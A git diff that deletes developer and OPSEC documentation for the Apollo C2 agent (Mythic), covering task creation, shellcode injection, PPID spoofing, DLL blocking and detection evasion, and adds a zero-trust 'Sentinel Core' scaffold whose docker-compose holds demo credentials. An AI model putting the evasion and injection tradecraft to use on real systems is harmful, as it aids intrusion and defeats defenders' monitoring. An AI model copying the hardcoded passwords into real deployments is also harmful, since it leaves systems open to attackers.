// and as such it supports only the SendRecv operation. - bool IsOneWay(); - - // Return whether or not the C2 profile is currently talking to Mythic - bool IsConnected(); -} -``` - -## Adding Your Profile to Apollo Core - -Once you've created your new C2 profile, you'll need to add it to Apollo as a build option for C2 profiles. - -In the Apollo project under the Apollo solution, add your new C2 profile as a project reference. Then, at the top of the `Apollo/Config.cs` file, add the following lines: - -``` -using System; -... -#if C2CHANNEL -using C2ChannelProfile; -#endif -``` - -Lastly, in the `EgressProfiles` dictionary, add a new entry for your C2 profile. It shoudl be of the format: -``` -#if C2CHANNEL -{ "c2channel", new C2ProfileData() - { - TC2Profile = typeof(C2ChannelProfile), - TCryptography = typeof(PSKCryptography), // do not change - TSerializer = typeof(EncryptedJsonSerializer), // do not change - Parameters = new Dictionary() - { -#if DEBUG - "param1": "debug_val_1", - "param2": "debug_val_2", - ... -#else - "param1": "param_boilerplate_to_be_filled_in_by_builder.py", - "param2": "param_boilerplate_to_be_filled_in_by_builder.py", - ... -#endif - } - } -} -``` -To debug your C2 Profile, simply fill in the parameter values in the DEBUG block of your parameters, and add at the top of the file `#define C2CHANNEL` in the `#if DEBUG` block. - - -### Add to Builder.py - -Lastly, you'll need to modify the builder.py file under `Payload_Type/apollo/mythic/agent_functions`. In that file, add your new profile to the `c2profiles` attribute under Apollo. \ No newline at end of file diff --git a/documentation-payload/apollo/contributing/Tasks.md b/documentation-payload/apollo/contributing/Tasks.md deleted file mode 100644 index f48e5e96..00000000 --- a/documentation-payload/apollo/contributing/Tasks.md +++ /dev/null @@ -1,222 +0,0 @@ -+++ -title = "Creating a New Task" -chapter = false -weight = 25 -+++ - -## Creating a New Task - -Tasks fall under two categories: script only tasks, and atomic tasks. - -## Script Only Tasks - -Script only tasks orchestrate one or more tasks that are already built-in to Apollo. For example, think about a `psexec` command. This command would first want to perform an `upload` to a target, then issue an `sc` command to create a new service, then another `sc` command to start the service. All you should need to do is add a new python file under `Payload_Type/apollo/mythic/agent_functions/` named `mycommand.py`. This file should be of the format: - -``` -// import statements here - -class MyCommandArguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [ - ... - ] - - async def parse_arguments(self): - ... - - -class MyCommandCommand(CommandBase): - cmd = "my_command" - attributes=CommandAttributes( - dependencies=["execute_pe"] - ) - ... other attributes ... - - async def create_tasking(self, task: MythicTask) -> MythicTask: - return task - - async def process_response(self, response: AgentResponse): - pass -``` - -Of note, if your command requires one or more dependencies to be loaded into the agent, you should specify them in the list of `dependencies` that are defined under `MyCommandCommand["attributes"]`. To perform task delegation, see Mythic documentation, or other examples of script only commands in Apollo, such as `pth`, `dcsync`, `mimikatz`, and otherwise. - -## Atomic Tasks - -Atomic tasks are defined as new tasks to be added in the core of the agent. These types of tasks have no dependencies and are discrete taskings in and of themselves. New atomic tasks should be created under the `Tasks` project of the Apollo solution, as `my_command.cs`. This new file should contain a class, `public class my_command`, that inherits from the `Tasking` base class. - - -### Tasking Base Class - -The `Tasking` base class that all tasks inherit from have the following special variables: -1. `IAgent _agent` - Dependency resolver. -2. `Task _data` - A .NET representation of the task data sent from Mythic -3. `JsonSerializer _jsonSerializer` - An object that can serialize .NET objects to JSON strings and deserialize JSON strings to .NET objects. - -Lastly, all tasks that inherit this class will use the `CreateTaskResponse` function, which is defined as the following: - -``` -public virtual TaskResponse CreateTaskResponse( - object userOutput, // What the user will see - bool completed, // If the task is finished executing - string status = "completed", // Status of task execution. - IEnumerable messages = null // List of additional IMythicMessages -) -``` - -These `TaskResponse` objects are what are added to the queue via the `ITaskManager.AddTaskResponseToQueue` function, which ultimately sends data from the executing task back to Mythic (discussed later). What you should know, as a user, is that: -1. `userOutput` is what is sent in the `user_output` field of a task to Mythic. -2. `messages` is a list of additional typed messages Mythic can interpret and feed into various parts of it's UI. - -The `messages` variable is a list of `IMythicMessage` types, which can be one of the following: -- `CommandInformation` - Information about loaded commands -- `EdgeNode` - Updating the P2P nodes this agent knows about or is connected to -- `FileBrowser` - Updating data in Mythic's file browser -- `Credential` - Adding new credentials to the Mythic store -- `RemovedFileInformation` - Tracking file deletions in Mythic -- `Artifact` - Artifacts from task execution. Includes process creation events, logons, file deletions, etc. -- `UploadMessage` - A special message type telling Mythic you're retrieving a file from it. -- `DownloadMessage` - A special message type telling Mythic you're pushing a data to the Mythic server -- `ProcessInformation` - Updates information in Mythic's process browser -- `KeylogInformation` - Information about a user's keypresses. - -### Example `my_command.cs` File - -``` -#define COMMAND_NAME_UPPER - -#if DEBUG -#define MY_COMMAND -#endif - -#if MY_COMMAND - -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using ApolloInterop.Classes; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; -using System.Runtime.Serialization; -using ApolloInterop.Serializers; -using System.Threading; -using System.IO; - -namespace Tasks -{ - public class my_command : Tasking - { - [DataContract] - public struct MyCommandParameters - { - [DataMember(Name = "param_name")] public string ParamName; - } - public my_command(IAgent agent, Task task) : base(agent, task) - { - /* - * Initiliaze any variables that'll be required for task execution, such as - * getting function pointers to Win32 APIs through agent.GetApi().GetLibraryFunction, - * asynchronous tasks that push data to Mythic if output streaming is required, - * etc. - */ - } - - public override void Start() - { - MyCommandParameters parameters = _jsonSerializer.Deserialize(_data.Parameters); - TaskResponse resp; - /* - * Do the main bulk of work of the function here. When you want to submit data to Mythic, - * create a new TaskResponse, and add it to the response queue. - */ - _agent.GetTaskManager().AddTaskResponseToQueue(CreateTaskResponse( - $"This is the data I want to display to the user", - true // Whether or not the task has completed)); - } - } -} -#endif -``` - -### IAgent Interface - -The IAgent interface is a dependency leveraged heavily throughout the agent. More reading on the interface can be done in the "Available Interfaces" documentation (may or may not be complete at the time of writing). You can use this interface to perform the following: - -1. Get the agent's `IFileManager` interface, responsible for storing, fetching, and sending files to Mythic. -2. Get the agent's `IProcessManager` interface, responsible for creating new child processes. -3. Get the agent's `IInjectionManager` interface, responsible for injecting shellcode into processes. -4. Get the agent's `ITaskManager` interface, responsible for loading commands, dispatching new tasks, and adding output from tasks to the sending queue. - -This is by no means an exhaustive list of interfaces `IAgent` presents nor is it meant as a full list of the capabilities of each of the aforementioned interfaces. The following are just what's most frequently used during Task development. - -### IFileManager Interface - -The IFileManager interface is used by tasking to perform the following. - -1. Get a file from Mythic by its file ID. The result of this operation will yield the file from Mythic in the `fileBytes` variable shown below: -``` -_agent.GetFileManager().GetFile( - _cancellation.Token, - _data.ID - fileId, - out byte[] fileBytes -) -``` -2. Send a file to Mythic via the `PutFile` call: -``` -_agent.GetFileManager().PutFile( - _cancellationToken.Token, - _data.ID, - fileBytes, // The file you're sending to Mythic - filePath, // Where the file originated - out string mythicFileId, // The file ID Mythic assigned to your file - false, // Whether or not this file is a screenshot - parameters.Hostname // The host where this file was found -) -``` -3. Retrieve a file from the agent's cache. Some tasks use the file cache to fetch files required for execution, as it reduces latency from task issuance to task execution. Some examples are: -- `execute_assembly` - Fetches assemblies previously registered via `register_file` from the file cache to execute in a sacrifical process -- `powershell` - Fetches the currently loaded PowerShell script from the file cache. -``` -_agent.GetFileManager().GetFileFromStore( - fileName, - out byte[] fileBytes) -``` - -### IProcessManager - -The IProcessManager interface is responsible for: -- Spawning new child processes -- Setting the parent process ID of child processes (`ppid`) -- Blocking non-Microsoft DLL's from being loaded into the process (`block_dlls`) -- Setting the default process to spawn used in fork and run tasks (`spawnto_*`) -- Retrieving default application startup arguments. - -#### Spawning a Child Process - -Spawning a new child process can be done via: -``` -_agent.GetProcessManager().NewProcess( - string lpApplication, - string lpArguments, - bool startSuspended = false, -) -``` -This returns a new `Process` object (defined in `ApolloInterop`) which is distinct from the traditional `System.Diagnostics.Process` object. You can subscribe to this process's stdout and stderr by adding an event handler to the `Process` object's `OutputDataReceived` and `ErrorDataReceived`. Once you have your event handlers configured, you can issue `Process.Start()` to start process execution, and similarily, `WaitForExit` if you wish to wait for the process to exit. - -Should you need to inject shellcode into a process, the `Process.Inject` method will inject arbitrary shellcode into the process using the currently defined injection method in the `IInjectionManager` implementation in use. - -### IInjectionManager - -This interface is responsible for retrieving the loaded injection techniques, changing which technique is in use for post-ex jobs, as well as giving callers the ability to inject into arbitrary processes. - -Namely, `IInjectionManager.CreateInstance` will allow the caller to create an instance of injection to a target process, then a separate call to `InjectionTechnique.Inject` will inject the shellcode. - -### ITaskManager - -The `ITaskManager` interface is what Tasks will most heavily interface with. Notably, this interface will push output from tasks up to Mythic for the user to see, load new taskings, cancel running tasks, and otherwise. - -As a Task developer, you'll mostly look to use `ITaskManager.AddTaskResponseToQueue`, which adds a new `TaskResponse` message to be sent to Mythic. These `TaskResponse` objects should be created via the `Tasking` base class's `Tasking.CreateTaskResponse`, which populates the requisite fields. \ No newline at end of file diff --git a/documentation-payload/apollo/contributing/_index.md b/documentation-payload/apollo/contributing/_index.md deleted file mode 100644 index edccf981..00000000 --- a/documentation-payload/apollo/contributing/_index.md +++ /dev/null @@ -1,12 +0,0 @@ -+++ -title = "Contributing" -chapter = true -weight = 20 -pre = "4. " -+++ - -{{% notice info %}} -Developer documentation is incomplete at this time. As such, your mileage may vary with the following contents. -{{% /notice %}} - -{{% children %}} \ No newline at end of file diff --git a/documentation-payload/apollo/contributing/apiresolvers.md b/documentation-payload/apollo/contributing/apiresolvers.md deleted file mode 100644 index f4e1f435..00000000 --- a/documentation-payload/apollo/contributing/apiresolvers.md +++ /dev/null @@ -1,50 +0,0 @@ -+++ -title = "Creating API Resolvers" -chapter = false -weight = 25 -+++ - -## Creating a New API Resolver - -New API resolvers must be a new .NET 4.0 Class library project under the Apollo solution. This new project should have a new class that follows the naming schema of `XxxxResolver` and inherits from the `IWin32ApiResolver` interface. - -### IWin32ApiResolver - -The `IWin32ApiResolver` must implement three functions (though only one of which is currently leveraged in the Apollo code base). - -``` -// The most important function to implement - used universally across the code base -T GetLibraryFunction( - Library library, - string functionName, - bool canLoadFromDisk = true, - bool resolveForwards = true) where T : Delegate - -T GetLibraryFunction( - Library library, - short ordinal, - bool canLoadFromDisk = true, - bool resolveForwards = true) where T : Delegate - -T GetLibraryFunction( - Library library, - string functionHash, - long key, - bool canLoadFromDisk=true, - bool resolveForwards = true) where T : Delegate -``` - -For the uninitiated, `T` is a generic typing of `Delegate`, meaning that `T` defines an arbitrary function prototype that the API resolver should marshal the resolved function pointer to. For a simple example, we can define a delegate like `CloseHandle` as the following: -``` -private delegate void CloseHandle(IntPtr Handle) -``` -Then, using the resolver, you could do something like the following: -``` - CloseHandle pCloseHandle = MyWin32ApiResolver.GetLibraryFunction(Library.KERNEL32, "CloseHandle") -``` - -Now, the variable `pCloseHandle` is a .NET function representing the `CloseHandle` native Win32 API call. - -{{% notice info %}} -The implementation of GetLibraryFunction is truly only important in its first iteration where you specify the cleartext function name. The GetLibraryFunction overloads that use ordinals and function hashes exist as the DInvoke resolver leverages these parameters. If you choose not to implement them and simply raise an error, the agent will still function at this current junction (1/29/2022) -{{% /notice %}} \ No newline at end of file diff --git a/documentation-payload/apollo/opsec/_index.md b/documentation-payload/apollo/opsec/_index.md deleted file mode 100644 index f52f3e8c..00000000 --- a/documentation-payload/apollo/opsec/_index.md +++ /dev/null @@ -1,19 +0,0 @@ -+++ -title = "OPSEC" -chapter = true -weight = 10 -pre = "1. " -+++ - -## Table of Contents - -Below are considerations about Apollo's underlying behavior that may affect decisions during operation. Use this as a guide to ensure proper OPSEC and avoid detection when using Apollo. Additionally, all artifacts that are generated during task execution are logged by Apollo into Mythic under the Artifacts tab. Review the documentation of each command to determine what artifacts are generated before executing a command. - -- [API Resolvers](/agents/apollo/opsec/apiresolvers/) -- [Evasion](/agents/apollo/opsec/evasion/) -- [Fork and Run Commands](/agents/apollo/opsec/forkandrun/) -- [Injection](/agents/apollo/opsec/injection/) - -## Example Artifacts - -![artifacts](/agents/apollo/opsec/images/artifacts.png) \ No newline at end of file diff --git a/documentation-payload/apollo/opsec/apiresolvers.md b/documentation-payload/apollo/opsec/apiresolvers.md deleted file mode 100644 index e7f3051f..00000000 --- a/documentation-payload/apollo/opsec/apiresolvers.md +++ /dev/null @@ -1,11 +0,0 @@ -+++ -title = "API Resolvers" -chapter = false -weight = 102 -+++ - -## Win32 API Resolution - -At the time of writing this (1/29/2022), Apollo by default uses a single API resolver to resolve all native Win32 API calls it needs to perform its duties. This resolver is a simple resolver that first checks if the required module is currently loaded into the current process and, if not, loads it. Once the module is loaded it then calls `GetProcAddress` to get a pointer to the requested function. - -However, there is a resolver that leverages the [DInvoke](https://github.com/TheWover/DInvoke) project to do all API resolution. Currently, there is no option to enable this from the UI or from agent tasking; however, in the future, this could be modifiable by an operator on build or during tasking. If one wanted to create their own custom API resolver outside of the two mentioned, see the [API Resolvers](/agents/apollo/contributing/apiresolvers/) documentation for how to contribute one. \ No newline at end of file diff --git a/documentation-payload/apollo/opsec/evasion.md b/documentation-payload/apollo/opsec/evasion.md deleted file mode 100644 index c1265d33..00000000 --- a/documentation-payload/apollo/opsec/evasion.md +++ /dev/null @@ -1,36 +0,0 @@ -+++ -title = "Evasion" -chapter = false -weight = 102 -+++ - -## Evasion in Apollo - -Apollo has several commands to modify post-exploitation parameters when performing a variety of tasks. These commands are: - -- [`spawnto_x64`](/agents/apollo/commands/spawnto_x64/) -- [`spawnto_x86`](/agents/apollo/commands/spawnto_x86/) -- [`ppid`](/agents/apollo/commands/ppid/) -- [`blockdlls`](/agents/apollo/commands/blockdlls/) -- [`get_injection_techniques`](/agents/apollo/commands/get_injection_techniques/) -- [`set_injection_technique`](/agents/apollo/commands/set_injection_technique/) - -### SpawnTo Commands - -These commands are used to specify what process should be spawned in any [fork and run](/agents/apollo/opsec/forkandrun) tasking, such as [`execute_assembly`](/agents/apollo/commands/execute_assembly). By default, these values are set to `rundll32.exe`. - -### Parent Process ID - -Sometimes it's desirable to have sacrificial jobs appear as though they were spawned under another parent process besides your own. This prevents attribution of that child process's activities to your currently executing Apollo agent. To change the parent process for all jobs that spawn new processes, issue `ppid [pid]`. - -{{% notice warning %}} -Here be dragons! Changing the PPID of processes can cause agent stability issues in some scenarios. For example: You should _never_ change the parent process to a process that is outside your current desktop session. -{{% /notice %}} - -### Block DLLs - -This prevents non-Microsoft signed DLLs from loading into your child processes. While most EDR software is now signed by Microsoft, this can occasionally help prevent side-loading of unwanted DLLs. - -### Injection Technique Management - -Apollo has several post-exploitation tasks that leverage process injection. A full discussion of this can be found at the [injection documentation page](/agents/apollo/opsec/injection). \ No newline at end of file diff --git a/documentation-payload/apollo/opsec/forkandrun.md b/documentation-payload/apollo/opsec/forkandrun.md deleted file mode 100644 index 8808e28b..00000000 --- a/documentation-payload/apollo/opsec/forkandrun.md +++ /dev/null @@ -1,24 +0,0 @@ -+++ -title = "Fork and Run Commands" -chapter = false -weight = 102 -+++ - -## What is Fork and Run? - -"Fork and Run" is an agent architecture that spawns sacrificial processes in a suspended state to inject shellcode into. - -## Fork and Run in Apollo - -Apollo uses the fork and run architecture for a variety of jobs. These jobs will all first spawn a new process specified by the [`spawnto_x86`](/agents/apollo/commands/spawnto_x86) or [`spawnto_x64`](/agents/apollo/commands/spawnto_x64) commands. The parent process of these new processes is specified by the [`ppid`](/agents/apollo/commands/ppid/) command. Once the process is spawned, Apollo will use the currently set injection technique to inject into the remote process. - -The following commands use the fork and run architecture: - -- [`execute_assembly`](/agents/apollo/commands/execute_assembly/) -- [`mimikatz`](/agents/apollo/commands/mimikatz/) -- [`powerpick`](/agents/apollo/commands/powerpick/) -- [`printspoofer`](/agents/apollo/commands/printspoofer/) -- [`pth`](/agents/apollo/commands/pth/) -- [`dcsync`](/agents/apollo/commands/pth/) -- [`spawn`](/agents/apollo/commands/spawn/) -- [`execute_pe`](/agents/apollo/commands/execute_pe/) \ No newline at end of file diff --git a/documentation-payload/apollo/opsec/images/_index.md b/documentation-payload/apollo/opsec/images/_index.md deleted file mode 100644 index e69de29b..00000000 diff --git a/documentation-payload/apollo/opsec/images/artifacts.png b/documentation-payload/apollo/opsec/images/artifacts.png deleted file mode 100644 index d18ef96c..00000000 Binary files a/documentation-payload/apollo/opsec/images/artifacts.png and /dev/null differ diff --git a/documentation-payload/apollo/opsec/injection.md b/documentation-payload/apollo/opsec/injection.md deleted file mode 100644 index 62ba440d..00000000 --- a/documentation-payload/apollo/opsec/injection.md +++ /dev/null @@ -1,29 +0,0 @@ -+++ -title = "Process Injection" -chapter = false -weight = 102 -+++ - -## Process Injection in Apollo - -Apollo has abstracted process injection into its own project and has the following techniques implemented: -- CreateRemoteThread -- QueueUserAPC (early bird) -- NtCreateThreadEx (via Syscalls) - -As an operator, sometimes one injection technique is more desirable than another. To facilitate this, the [`get_injection_techniques`](/agents/apollo/commands/get_injection_techniques) command will list all currently loaded injection techniques the agent knows about. Similarly, [`set_injection_technique`](/agents/apollo/commands/set_injection_technique) will update the currently used injection technique throughout all post-exploitation jobs. - -## Commands Leveraging Injection - -All of Apollo's [fork and run commands](/agents/apollo/opsec/forkandrun/) use injection to inject into a sacrificial process; however, there are additional commands that inject into other processes. Those commands are: - -- [`assembly_inject`](/agents/apollo/commands/assembly_inject/) -- [`inject`](/agents/apollo/commands/inject/) -- [`keylog_inject`](/agents/apollo/commands/keylog/) -- [`psinject`](/agents/apollo/commands/psinject/) -- [`shinject`](/agents/apollo/commands/shinject/) -- [`screenshot_inject`](/agents/apollo/commands/screenshot_inject) - -{{% notice info %}} -Some injection techniques are incompatible with the aforementioned commands. For example: If QueueUserAPC is in use, the above commands will fail as it leverages the early bird version of QueueUserAPC, not the APC bombing technique. -{{% /notice %}} \ No newline at end of file diff --git a/documentation-wrapper/.keep b/documentation-wrapper/.keep deleted file mode 100644 index e69de29b..00000000 diff --git a/sentinel-core/Makefile b/sentinel-core/Makefile new file mode 100644 index 00000000..c5a3e2e3 --- /dev/null +++ b/sentinel-core/Makefile @@ -0,0 +1,44 @@ +SHELL := /bin/bash + +.PHONY: up down logs test-policy test-go test-dashboard test-telemetry test-session-recorder test-password-vault test-nl-compiler test-vpn test-attestation-gateway test-all lint-readme + +up: + docker compose up -d + +down: + docker compose down -v + +logs: + docker compose logs -f --tail=200 + +test-policy: + cd services/policy-engine && python3 -m unittest tests/test_policy.py -q + +test-go: + cd services/device-posture-agent && go test ./... + +test-dashboard: + cd services/admin-dashboard && node --test tests/routes.test.mjs + +test-telemetry: + cd services/telemetry-ingestion && python3 -m unittest discover -s tests -p "test_*.py" + +test-session-recorder: + cd services/session-recorder && node --test tests/recorder.test.js + +test-password-vault: + cd services/password-vault-poc && node --test tests/vault.test.js + +test-nl-compiler: + cd services/nl-policy-compiler && node --test tests/compiler.test.js + +test-vpn: + cd services/vpn-ztna-gateway && node --test tests/config.test.mjs + +test-attestation-gateway: + cd services/attestation-gateway && go test ./... + +test-all: test-policy test-go test-dashboard test-telemetry test-session-recorder test-password-vault test-nl-compiler test-vpn test-attestation-gateway + +lint-readme: + @echo "README lint placeholder - integrate markdownlint in CI" diff --git a/sentinel-core/README.md b/sentinel-core/README.md new file mode 100644 index 00000000..8c394a70 --- /dev/null +++ b/sentinel-core/README.md @@ -0,0 +1,30 @@ +# Sentinel Core PoC (Deliverable 15) + +This directory contains runnable proof-of-concept modules for NNSEC Sentinel: + +1. Chromium macOS screenshot protection patch example +2. Policy engine (FastAPI + OPA) +3. Admin dashboard skeleton (Next.js 15) +4. Telemetry ingestion skeleton (Kafka -> Flink -> OpenSearch) +5. Device posture agent (Go + osquery integration pattern) +6. Session recording library (rrweb + encrypted upload) +7. VPN/ZTNA gateway PoC (WireGuard + identity-aware policy) +8. Attestation gateway PoC (mTLS + signed header + replay checks) +9. Password vault PoC (E2EE) +10. NL-to-policy compiler utility +11. Local `docker-compose.yml` +12. `Makefile` for DX +13. Per-module README files with architecture and threat notes + +## Quick start + +```bash +cd sentinel-core +make up +make test-all +``` + +## Notes + +- This is a baseline scaffold for architecture validation and integration sequencing. +- Production hardening (authN/Z depth, secret management, HA, SLOs) is defined in Deliverables 2-14 and implemented incrementally. diff --git a/sentinel-core/chromium/patches/0001-macos-screenshot-protection.patch b/sentinel-core/chromium/patches/0001-macos-screenshot-protection.patch new file mode 100644 index 00000000..8ff9ea6c --- /dev/null +++ b/sentinel-core/chromium/patches/0001-macos-screenshot-protection.patch @@ -0,0 +1,56 @@ +From 1111111111111111111111111111111111111111 Mon Sep 17 00:00:00 2001 +From: NNSEC Sentinel Engineering +Date: Wed, 15 Apr 2026 12:00:00 +0000 +Subject: [PATCH] macOS: enforce screen capture protection on Sentinel windows + +Target Chromium baseline: 128.0.6613.84 +Threat model note: +- Mitigates casual and enterprise screen recording via WindowServer capture APIs. +- Does not block camera-based capture or privileged root-level frame extraction. + +--- + chrome/browser/ui/views/frame/browser_desktop_window_tree_host_mac.mm | 28 ++++++++++++++++++++++++++++ + 1 file changed, 28 insertions(+) + +diff --git a/chrome/browser/ui/views/frame/browser_desktop_window_tree_host_mac.mm b/chrome/browser/ui/views/frame/browser_desktop_window_tree_host_mac.mm +index abcdef123456..fedcba654321 100644 +--- a/chrome/browser/ui/views/frame/browser_desktop_window_tree_host_mac.mm ++++ b/chrome/browser/ui/views/frame/browser_desktop_window_tree_host_mac.mm +@@ -18,6 +18,9 @@ + #import "base/mac/scoped_nsobject.h" + #import "base/strings/sys_string_conversions.h" + #import "chrome/browser/profiles/profile.h" ++#import ++#import ++#import + + namespace { + +@@ -121,6 +124,31 @@ void BrowserDesktopWindowTreeHostMac::Init(const Widget::InitParams& params) { + DesktopWindowTreeHostMac::Init(params); + + // Existing setup omitted for brevity. ++ ++ // Sentinel hardening: prevent standard screen-capture APIs from reading ++ // protected browser windows. This setting is best-effort and is paired with ++ // runtime capture detection elsewhere in the Sentinel fork. ++ if ([window() respondsToSelector:@selector(setSharingType:)]) { ++ [window() setSharingType:NSWindowSharingNone]; ++ } ++ ++ // Runtime detection hook for TCC-approved capture sessions. ++ // This allows future policy actions (blur surface / force logout). ++ if (@available(macOS 10.15, *)) { ++ dispatch_async(dispatch_get_main_queue(), ^{ ++ bool capture_allowed = CGPreflightScreenCaptureAccess(); ++ if (capture_allowed) { ++ // TODO(project-sentinel): wire to policy bus once browser<->policy ++ // IPC channel is landed. For now, retain deterministic logging point. ++ LOG(WARNING) << "Sentinel window running with active screen-capture permission"; ++ } ++ }); ++ } + } + + void BrowserDesktopWindowTreeHostMac::CloseNow() { +*** End Patch diff --git a/sentinel-core/docker-compose.yml b/sentinel-core/docker-compose.yml new file mode 100644 index 00000000..8626fb56 --- /dev/null +++ b/sentinel-core/docker-compose.yml @@ -0,0 +1,91 @@ +version: "3.9" +services: + opa: + image: openpolicyagent/opa:0.67.1 + command: + - "run" + - "--server" + - "--addr=0.0.0.0:8181" + - "/policies" + volumes: + - ./services/policy-engine/policies:/policies:ro + ports: + - "8181:8181" + + policy-engine: + image: python:3.12-slim + working_dir: /app + command: > + sh -c "pip install -r requirements.txt && + uvicorn app.main:app --host 0.0.0.0 --port 8080" + volumes: + - ./services/policy-engine:/app + environment: + OPA_URL: http://opa:8181 + depends_on: + - opa + ports: + - "8080:8080" + + attestation-gateway: + image: golang:1.22-alpine + working_dir: /app + command: sh -c "go run ./cmd/gateway" + volumes: + - ./services/attestation-gateway:/app + environment: + LISTEN_ADDR: ":8090" + SENTINEL_KEYS: "device-123:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=" + SENTINEL_MIN_POSTURE: "80" + SENTINEL_FRESHNESS_SECONDS: "60" + SENTINEL_ALLOWED_UA_PREFIX: "NNSECSentinel/" + SENTINEL_ALLOWED_CIDRS: "127.0.0.1/32,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16" + ports: + - "8090:8090" + + admin-dashboard: + image: node:22-alpine + working_dir: /app + command: sh -c "npm install && npm run dev" + volumes: + - ./services/admin-dashboard:/app + environment: + NEXT_PUBLIC_POLICY_API: http://localhost:8080 + depends_on: + - policy-engine + ports: + - "3000:3000" + + redpanda: + image: redpandadata/redpanda:v24.2.8 + command: + - redpanda + - start + - --overprovisioned + - --smp + - "1" + - --memory + - "1G" + - --reserve-memory + - "0M" + - --node-id + - "0" + - --check=false + - --kafka-addr + - INTERNAL://0.0.0.0:9092,OUTSIDE://0.0.0.0:19092 + - --advertise-kafka-addr + - INTERNAL://redpanda:9092,OUTSIDE://localhost:19092 + ports: + - "19092:19092" + - "9644:9644" + + minio: + image: quay.io/minio/minio:RELEASE.2024-09-22T00-33-43Z + command: server /data --console-address ":9001" + environment: + MINIO_ROOT_USER: sentinel + MINIO_ROOT_PASSWORD: sentinel123 + ports: + - "9000:9000" + - "9001:9001" + diff --git a/sentinel-core/services/admin-dashboard/README.md b/sentinel-core/services/admin-dashboard/README.md new file mode 100644 index 00000000..7fdd772a --- /dev/null +++ b/sentinel-core/services/admin-dashboard/README.md @@ -0,0 +1,34 @@ +# Sentinel Admin Dashboard Skeleton + +This module provides a minimal Next.js 15 + TypeScript admin console starter. + +## Scope + +- Login route (`/login`) +- Tenants route (`/tenants`) +- Devices route (`/devices`) +- Basic navigation and role-aware shell placeholder + +## Run + +```bash +npm install +npm run dev +npm test +``` + +## Security notes + +- Production auth must be Keycloak OIDC with PKCE +- Route authorization must be middleware-enforced, not UI-only +- CSP must be strict, with nonce-based script policy + +## Observability hooks + +- Add OpenTelemetry web SDK in `app/layout.tsx` +- Emit route transition traces and API timings + +## Threat model note + +Main threats: token theft in browser storage, CSRF on admin mutations, privilege escalation via missing backend RBAC. + diff --git a/sentinel-core/services/admin-dashboard/app/(app)/devices/page.tsx b/sentinel-core/services/admin-dashboard/app/(app)/devices/page.tsx new file mode 100644 index 00000000..d0d01ee9 --- /dev/null +++ b/sentinel-core/services/admin-dashboard/app/(app)/devices/page.tsx @@ -0,0 +1,42 @@ +"use client"; + +// Copyright (c) 2026 NNSEC Sentinel +// SPDX-License-Identifier: AGPL-3.0-or-later + +import { useMemo } from "react"; + +const devices = [ + { id: "dev-001", user: "amir@bamboo-card.com", posture: "healthy", os: "macOS 14.6" }, + { id: "dev-002", user: "qa@bamboo-card.com", posture: "warning", os: "Windows 11" }, + { id: "dev-003", user: "ops@nnsec.io", posture: "healthy", os: "Ubuntu 24.04" } +]; + +export default function DevicesPage() { + const unhealthyCount = useMemo( + () => devices.filter((d) => d.posture !== "healthy").length, + [] + ); + + return ( +
+

Device Fleet

+

+ Posture warnings: {unhealthyCount} +

+
+ {devices.map((device) => ( +
+
+

{device.id}

+

{device.user}

+
+
+

{device.os}

+

{device.posture}

+
+
+ ))} +
+
+ ); +} diff --git a/sentinel-core/services/admin-dashboard/app/(app)/tenants/page.tsx b/sentinel-core/services/admin-dashboard/app/(app)/tenants/page.tsx new file mode 100644 index 00000000..133e0164 --- /dev/null +++ b/sentinel-core/services/admin-dashboard/app/(app)/tenants/page.tsx @@ -0,0 +1,38 @@ +"use client"; + +// Copyright (c) 2026 NNSEC Sentinel +// SPDX-License-Identifier: AGPL-3.0-only + +export default function TenantsPage() { + const tenants = [ + { id: "ten_bamboo", name: "Bamboo Card", plan: "enterprise", seats: 420 }, + { id: "ten_nnsec-mssp", name: "NNSEC MSP", plan: "mssp", seats: 1200 }, + ]; + + return ( +
+

Tenants

+

Multi-tenant inventory (PoC data).

+ + + + + + + + + + + {tenants.map((tenant) => ( + + + + + + + ))} + +
Tenant IDNamePlanSeats
{tenant.id}{tenant.name}{tenant.plan}{tenant.seats}
+
+ ); +} diff --git a/sentinel-core/services/admin-dashboard/app/(auth)/login/page.tsx b/sentinel-core/services/admin-dashboard/app/(auth)/login/page.tsx new file mode 100644 index 00000000..6dd5729a --- /dev/null +++ b/sentinel-core/services/admin-dashboard/app/(auth)/login/page.tsx @@ -0,0 +1,16 @@ +/* Copyright (c) 2026 NNSEC Sentinel */ +/* SPDX-License-Identifier: AGPL-3.0-only */ +export default function LoginPage(): JSX.Element { + return ( +
+

NNSEC Sentinel Login

+
+ + + +
+
+ ); +} diff --git a/sentinel-core/services/admin-dashboard/app/layout.tsx b/sentinel-core/services/admin-dashboard/app/layout.tsx new file mode 100644 index 00000000..f06ea070 --- /dev/null +++ b/sentinel-core/services/admin-dashboard/app/layout.tsx @@ -0,0 +1,15 @@ +/* + * Copyright (C) 2026 NNSEC + * SPDX-License-Identifier: AGPL-3.0-only + */ +import type { ReactNode } from "react"; + +export default function RootLayout({ children }: { children: ReactNode }) { + return ( + + + {children} + + + ); +} diff --git a/sentinel-core/services/admin-dashboard/app/page.tsx b/sentinel-core/services/admin-dashboard/app/page.tsx new file mode 100644 index 00000000..8bdb648d --- /dev/null +++ b/sentinel-core/services/admin-dashboard/app/page.tsx @@ -0,0 +1,9 @@ +/* SPDX-License-Identifier: AGPL-3.0-only */ +export default function HomePage() { + return ( +
+

NNSEC Sentinel Admin Dashboard

+

Use /tenants and /devices to access starter pages.

+
